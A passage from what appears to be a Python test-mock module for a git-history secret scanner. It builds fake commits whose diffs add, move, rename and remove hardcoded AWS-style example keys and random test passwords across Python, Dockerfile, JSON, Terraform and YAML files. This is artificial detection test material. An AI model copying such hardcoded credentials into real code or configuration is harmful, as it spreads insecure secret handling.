PIP_ENV_VERSION="2022.1.8"\n-\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-COPY Pipfile Pipfile.lock ./\n-\n-RUN pip install pipenv==${PIP_ENV_VERSION} \\\n- && pipenv lock -r > requirements.txt \\\n- && pipenv run pip install -r requirements.txt --target "${LAMBDA_TASK_ROOT}" \\\n- && rm -f requirements.txt Pipfile Pipfile.lock \\\n- && pip uninstall -y pipenv\n-\n-\n-COPY src/ "${LAMBDA_TASK_ROOT}/src/"\n-COPY utilsPython/ "${LAMBDA_TASK_ROOT}/utilsPython/"\n-\n-CMD ["src.secrets_setup.image.src.app.handler"]\n'} ), ] return commits_mock def mock_remove_file_with_two_equal_secret(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='d76977ac656abdaa77a7791a11adfb96efb48a35', committer='🍕🍕pizza', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/test3.py\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/test3.py\n@@ -1,4 +1,4 @@\n-\n+AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n if __name__ == \'__main__\':\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='c211bfc4ae4514627f104ce0bf664dd9521d9c16', committer='🍕🍕pizza', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/test3.py\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/test3.py\n@@ -1,4 +1,5 @@\n AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n if __name__ == \'__main__\':\n+ AWS_ACCESS_KEY_ID = "AKIAZZZZZZZZZZZZZZZZ"\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='8d96e18c1c924ba396211bf2d4fdd8d2418b8420', committer='🍕🍕pizza', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/None\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/None\n@@ -1,5 +0,0 @@\n-AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n-\n-if __name__ == \'__main__\':\n- AWS_ACCESS_KEY_ID = "AKIAZZZZZZZZZZZZZZZZ"\n- print(\'test\')\n'} ), ] return commits_mock def mock_remove_file_with_two_secret(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='f0d117c1d65e90d4d6d7a1b6aaf4e23f4fd33b82', committer='🍻2secrets', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,4 @@\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n \n'} ), Commit( metadata=CommitMetadata( commit_hash='1166ee830a03f6721fb8cba794496ee82895a0ba', committer='🍻2secrets', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,5 +1,5 @@\n AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n-\n+ TEST_PASSWORD_1 = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='bdb3678fc44702132fa7d661a1c425e65c1e9dde', committer='🍻2secrets', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'main.py': 'diff --git a/main.py b/None\nindex 0000..0000 0000\n--- a/main.py\n+++ b/None\n@@ -1,5 +0,0 @@\n-AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-\n-if __name__ == \'__main__\':\n- TEST_PASSWORD_1 = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n- print(\'test\')\n'} ), ] return commits_mock def mock_git_repo_commits_rename_file(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='adef7360b86c62666f0a70521214220763b9c593', committer='Strawberry🍓', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,3 @@\n-\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n if __name__ == \'__main__\':\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='7b12f891358f690f254476c80988bfa837f36ac6', committer='Strawberry🍓', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,4 @@\n AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n if __name__ == \'__main__\':\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='2e1a500e688990e065fc6f1202bc64ed0ba53027', committer='Strawberry🍓', committed_datetime='2022-12-14T16:32:13+00:00'), renamed_files={ 'main.py': { "rename_from": "main.py", "rename_to": "test.py" } } ), ] return commits_mock def mock_git_repo_commits_modify_and_rename_file(self, last_commit_sha: str) -> List[Commit]: """ when we rename a file and modify it in the same commit it will consider as deleting the old file and creating a new file add secret to file +1 rename the file and removed the secret- add removed_commit_hash """ commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='62da8e5e04ec5c3a474467e9012bf3427cff0407', committer='🍹rename', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test.py': 'diff --git a/test.py b/test.py\nindex 0000..0000 0000\n--- a/test.py\n+++ b/test.py\n@@ -1,4 +1,4 @@\n-\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n print(\'test\')\n'} ), Commit( metadata=CommitMetadata( commit_hash='61ee79aea3d151a40c8e054295f330d233eaf7d5', committer='🍹rename', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'test.py': 'diff --git a/test.py b/None\nindex 0000..0000 0000\n--- a/test.py\n+++ b/None\n@@ -1,4 +0,0 @@\n-AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-\n-if __name__ == \'__main__\':\n- print(\'test\')\n', 'test2.py': "diff --git a/None b/test2.py\nindex 0000..0000 0000\n--- a/None\n+++ b/test2.py\n@@ -0,0 +1,3 @@\n+\n+if __name__ == '__main__':\n+ print('test')\n"} ), ] return commits_mock def mock_git_repo_multiline_json(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='6b99e255555eacbd5f79a4efe77dcacdc63ed10f', committer='🍽multiline_json', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test-multiline-secrets.json': 'diff --git a/None b/test-multiline-secrets.json\nindex 0000..0000 0000\n--- a/None\n+++ b/test-multiline-secrets.json\n@@ -0,0 +1,30 @@\n+{\n+ "spec": [\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_4",\n+ "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_LONG_1",\n+ "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_no_password",\n+ "value": "RandomP@ssw0rd"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n'} ), ] return commits_mock def mock_git_repo_multiline_terraform(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='6bee3eb2f69e06095395ae1d54c810c3a2a99841', committer='🥢multiline_terraform', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'secret_test.tf': 'diff --git a/secret_test.tf b/secret_test.tf\nindex 0000..0000 0000\n--- a/secret_test.tf\n+++ b/secret_test.tf\n@@ -0,0 +1,79 @@\n+resource "kubernetes_pod_v1" "test" {\n+ metadata {\n+ name = "terraform-example"\n+ }\n+\n+ spec {\n+ container {\n+ image = "nginx:1.21.6"\n+ name = "example"\n+\n+ env {\n+ name = "SOME_NAME"\n+ value = "some_value"\n+ }\n+ # name1 & value1 are not valid arguments\n+ env {\n+ value = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n+ name = "TEST_PASSWORD_1"\n+ name1 = "TEST_PASSWORD_2"\n+ value1 = "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_3"\n+ // comment 1\n+ // comment 2\n+ // comment 3\n+ value = "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ }\n+ env {\n+ value = "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z"\n+ # comment 1\n+ name = "TEST_PASSWORD_4"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_LONG_1"\n+ value = "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_no_password"\n+ value = "RandomP@ssw0rd"\n+ }\n+\n+ port {\n+ container_port = 80\n+ }\n+\n+ liveness_probe {\n+ http_get {\n+ path = "/"\n+ port = 80\n+\n+ http_header {\n+ name = "X-Custom-Header"\n+ value = "Awesome"\n+ }\n+ }\n+\n+ initial_delay_seconds = 3\n+ period_seconds = 3\n+ }\n+ }\n+\n+ dns_config {\n+ nameservers = ["1.1.1.1", "8.8.8.8", "9.9.9.9"]\n+ searches = ["example.com"]\n+\n+ option {\n+ name = "ndots"\n+ value = 1\n+ }\n+\n+ option {\n+ name = "use-vc"\n+ }\n+ }\n+\n+ dns_policy = "None"\n+ }\n+}\n'} ), ] return commits_mock def mock_git_repo_multiline_yml(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='cee6ad9d172ff447bd0afe8a478348b3ed6d3734', committer='🥢multiline_yml', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test-multiline-secrets.yml': 'diff --git a/None b/test-multiline-secrets.yml\nindex 0000..0000 0000\n--- a/None\n+++ b/test-multiline-secrets.yml\n@@ -0,0 +1,15 @@\n+spec:\n+ - name: SOME_NAME\n+ value: some_value\n+ - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\n+ name: TEST_PASSWORD_1\n+ name1: TEST_PASSWORD_2\n+ value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\n+ - name: TEST_PASSWORD_3\n+ value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\n+ - name: TEST_PASSWORD_4\n+ value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\n+ - name: TEST_PASSWORD_LONG_1\n+ value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\n+ - name: TEST_PASSWORD_no_password\n+ value: RandomP@ssw0rd\n'} ), ] return commits_mock def get_random_string(length: int) -> str: chars = string.ascii_lowercase + string.ascii_letters result_str = ''.join(random.choice(chars) for _i in range(length)) return result_str def mock_case() -> Dict[str, str]: cases = [ { "Dockerfile": "diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION=\"2022.1.8\"\n \n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n+\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n" }, { "Dockerfile": "diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,10 +1,9 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n ENV PIP_ENV_VERSION=\"2022.1.8\"\n \n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n \n COPY Pipfile Pipfile.lock ./\n \n" }, { "Dockerfile": "diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\n ENV PIP_ENV_VERSION=\"2022.1.8\"\n \n \n" }, { "Dockerfile": "diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\n+\n ENV PIP_ENV_VERSION=\"2022.1.8\"\n \n \n" } ] return random.choice(cases) def mock_git_repo_commits_too_much(self, last_commit_sha: str) -> List[Commit]: return [ Commit( metadata=CommitMetadata( commit_hash=get_random_string(40), committer='Cherry🍒moi-moi-lots-of-commits', committed_datetime='2022-12-14T16:10:21+00:00'), files=mock_case() ) for _i in range(20000) ] def mock_run_forever(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: res: List[Commit] = [] while True: a = 1 + 1 _ = a yield return res def mock_commit_with_keyword_combinator() -> List[Commit]: return [Commit( metadata=CommitMetadata( commit_hash='8a21fa691e17907afee57e93b7820c5943b12746', committer='Cherry🍒', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/None b/main.py\nindex 0000..0000 0000\n--- a/None\n+++ b/main.py\n@@ -0,0 +1,4 @@\n+api_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY"\n+\n+if __name__ == "__main__":\n+ print(api_key)\n\\ No newline at end of file\n'} )] def mock_get_commits(repo: Repo, last_commit_sha: Optional[str] = None, branch: Optional[str] = None) -> List[Commit]: """ add secret (secret1 added) - +1 move the secret to different line - 0 modify the secret value (secret1 removed=update + secret2 added) - +1 remove the secret (secret2 removed=update) - 0 add file with new secret (secret3 added) - +1 """ return [] def mock_get_commits_diff_iter_keyword_combinator(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='8a21fa691e17907afee57e93b7820c5943b12746', committer='Cherry🍒', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/None b/main.py\nindex 0000..0000 0000\n--- a/None\n+++ b/main.py\n@@ -0,0 +1,4 @@\n+api_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY"\n+\n+if __name__ == "__main__":\n+ print(api_key)\n\\ No newline at end of file\n'} ) def mock_get_commits_diff_iter1(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='8a21fa691e17907afee57e93b7820c5943b12746', committer='Cherry🍒', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n \n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='d3249f33376b94a939b67a638aba4557b071875f', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,10 +1,9 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n \n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n COPY Pipfile Pipfile.lock ./\n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='3d79bba03c6f0ddcfb8334f531701942c4be0f32', committer='Cherry🍒', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n ENV PIP_ENV_VERSION="2022.1.8"\n \n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='7dff3b21fc2563f51655f34f0d3601cdf79d0d5e', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n ENV PIP_ENV_VERSION="2022.1.8"\n \n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='6941281550a12659bdbe87c9a537f88124f78fac', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:57:26+00:00'), files={ 'main.py': 'diff --git a/None b/main.py\nindex 0000..0000 0000\n--- a/None\n+++ b/main.py\n@@ -0,0 +1,4 @@\n+AWS_ACCESS_TOKEN="AKIAZZZZZZZZZZZZZZZZ"\n+\n+if __name__ == "__main__":\n+ print(AWS_ACCESS_TOKEN)\n\\ No newline at end of file\n'} ) def mock_get_commits_diff_iter2(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: """ add secret (secret1 added) - +1 move the secret to different line - 0 remove the secret (secret1 removed=update) - 0 add secret (secret1 added - add the same secret - update) - 0 move the secret to different line - 0 """ yield Commit( metadata=CommitMetadata( 